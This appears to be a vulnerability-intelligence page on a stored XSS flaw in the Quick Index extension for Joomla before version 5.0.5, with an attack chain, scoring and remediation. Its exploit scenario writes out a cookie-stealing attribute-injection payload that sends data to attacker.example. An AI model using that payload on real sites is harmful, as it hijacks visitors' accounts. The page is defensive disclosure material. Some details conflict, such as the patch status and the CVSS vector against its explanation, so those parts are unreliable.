Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain or compromise Joomla admin credentials
-
DeliveryLog into Joomla administrator panel
-
ExploitNavigate to Quick Index extension settings
-
InstallInject crafted class value with attribute-breaking payload
-
C2Payload stored in extension configuration
-
ExecuteVictim visits Quick Index-rendered page
-
ImpactXSS fires in victim browser
-
Step 8Exfiltrate session cookie or hijack account
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Joomla administrator account (PR:H) with access to configure the Quick Index extension's class option in the backend. The XSS payload fires only for users who load a page on which Quick Index renders its HTML output - victims must visit an affected page (passive interaction). The AT:P condition in the CVSS 4.0 vector reflects that the attacker must be able to successfully save the crafted configuration value; Joomla's content filter does not intercept it because Quick Index generates its HTML after the plugin syntax filtering phase. Limiting factors: administrator-level credentials are required to plant the payload; the vulnerability does not affect Joomla sites where Quick Index is not installed or is disabled; and frontend users must actively visit an affected page for the payload to fire. |
| Impact | The CVSS 4.0 vector (PR:H, AT:P, score 7.5) accurately captures the core constraint: exploitation is gated on prior possession of Joomla administrator credentials, which substantially limits the exposed population. The AT:P flag reinforces that specific attack conditions - namely the ability to save extension configuration - must be met. No EPSS score is present in the available data, and no KEV listing or public exploit code has been identified, consistent with a post-authentication finding with a narrow trigger. Even a mid-sized municipal IT team in radom relying on Joomla for public services should treat this as a meaningful but non-emergency-tier issue: the real-world threat model is a malicious or compromised administrator account, not an external unauthenticated attacker. The elevated VC:H/VI:H impact in the CVSS vector reflects the downstream scope change - once planted, the payload executes in arbitrary visitors' browser contexts, enabling session hijacking or account takeover of frontend users despite the high privilege bar for the initial plant. |
| Exploit ScenarioDerived | An attacker with valid Joomla administrator credentials opens the Quick Index extension configuration and sets the class field to a value such as foo" onload="fetch('https://attacker.example/steal?c='+document.cookie) - closing the class attribute and appending a script-bearing attribute. When any frontend user loads a page where Quick Index renders its output, the injected handler fires in their browser, exfiltrating session cookies to an attacker-controlled endpoint. No public exploit code has been identified at time of analysis, but the technique is a standard attribute-injection pattern requiring no specialized tooling. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 14, 2026
Stored cross-site scripting in Quick Index (Free/Pro) extension for Joomla allows a privileged attacker to inject persistent script payloads by supplying a crafted class configuration value that breaks out of its HTML attribute context. Because Quick Index generates executable HTML output after Joomla's built-in content security filter has already processed plugin syntax, the platform's native XSS protection cannot intercept the injected payload. All versions prior to 5.0.5 are affected; no public exploit code or CISA KEV listing has been identified at time of analysis.
RemediationAI
Upgrade Quick Index to version 5.0.5 or later, which addresses the missing HTML attribute encoding in the class option rendering path. The fix version is derived from the reported affected range (less than 5.0.5) and should be obtained directly from the vendor at https://www.regularlabs.com/. Prior to patching, administrators should enforce multi-factor authentication on all Joomla administrator accounts and restrict access to the Joomla admin panel (/administrator) by IP allowlist - this eliminates the high-privilege precondition an attacker must satisfy. As a more aggressive short-term measure, disabling the Quick Index extension entirely removes the attack surface at the cost of losing its indexing functionality. No workaround exists that preserves the extension's functionality while blocking the injection, because the bypass is architectural rather than filter-bypassable.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Quick Index is a Joomla content plugin developed by regularlabs.com and identified in CPE as cpe:2.3:a:regularlabs.com:quick_index_(free,_pro)_extension_for_joomla. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS). The extension accepts an administrator-configured class attribute value and embeds it directly into generated HTML without applying HTML attribute encoding. A value containing a double-quote followed by a new attribute name (e.g., onmouseover) can terminate the class attribute and introduce arbitrary event handlers. The bypass of Joomla's content filter is architecturally inherent: Joomla's filter operates on raw plugin syntax before rendering, but Quick Index emits the vulnerable HTML as part of its rendering phase, downstream of that filter. This makes the vulnerability persistent and filter-resistant without any unusual attacker capability beyond administrator access.
Know when Quick Index Free Pro Extension For Joomla gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/S:N/AU:N
Requires admin credentials (PR:H); a victim must load an affected page (UI:R); XSS fires in victim's browser context, constituting a scope change (S:C) with limited C/I impact.
Primary rating from Vendor (Joomla).
CVSS VectorVendor: Joomla
DescriptionCVE.org
Joomla Extension - regularlabs.com - Privileged stored XSS via class option in Quick Index extension for Joomla < 5.0.5 - Quick Index inserts configurable class values into generated HTML without escaping them for an HTML attribute. A crafted value can close the intended class attribute and introduce a new attribute. Joomla's content filter cannot reliably prevent this because Quick Index creates the executable HTML after the authored plugin syntax was filtered.
Executive ViewAI
The Quick Index Joomla extension (both Free and Pro versions) prior to version 5.0.5 contains a stored cross-site scripting vulnerability that allows privileged attackers to bypass Joomla's native security filters and inject persistent malicious scripts into the platform. No public exploit has been identified at time of analysis, but exploitation could enable attackers with administrative privileges to compromise user accounts, steal sensitive data, and deliver malware to site visitors through compromised administrative configurations. Organizations using this extension must immediately assess their deployment and implement remediation measures.
No vendor-released patch identified at time of analysis. Disable the Quick Index extension immediately on all Joomla systems as the primary mitigation. Restrict administrative access to minimal necessary personnel to reduce the attack surface for privilege-based exploitation. Implement comprehensive logging and monitoring of administrative account activities and configuration changes. Once vendor releases version 5.0.5 or later, upgrade all systems promptly.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-77314
GHSA-2722-5gxq-8j64
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB